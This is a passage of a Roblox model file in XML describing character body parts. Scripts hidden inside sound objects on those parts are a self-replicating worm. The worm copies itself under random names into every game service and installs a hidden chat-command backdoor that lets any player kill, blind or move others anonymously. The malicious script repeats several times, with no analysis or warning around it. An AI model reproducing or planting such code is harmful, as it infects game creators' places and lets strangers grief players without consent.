for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX273">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">12</int>
						<CoordinateFrame name="CFrame">
							<X>-20.5912285</X>
							<Y>3.29852319</Y>
							<Z>-15.774106</Z>
							<R00>0.802155316</R00>
							<R01>3.48731282e-006</R01>
							<R02>0.597115457</R02>
							<R10>-3.23073073e-005</R10>
							<R11>1</R11>
							<R12>3.75608506e-005</R12>
							<R20>-0.597115457</R20>
							<R21>-4.94208289e-005</R21>
							<R22>0.802155316</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX274">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">2iwih8</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX275">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">a1fba</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX276">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">119</int>
						<CoordinateFrame name="CFrame">
							<X>-22.1955471</X>
							<Y>1.2985878</Y>
							<Z>-14.5797768</Z>
							<R00>0.802155316</R00>
							<R01>3.48731282e-006</R01>
							<R02>0.597115457</R02>
							<R10>-3.23073073e-005</R10>
							<R11>1</R11>
							<R12>3.75608506e-005</R12>
							<R20>-0.597115457</R20>
							<R21>-4.94208289e-005</R21>
							<R22>0.802155316</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Leg</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX277">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">xmoodt</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX278">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">mx5tubqj</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
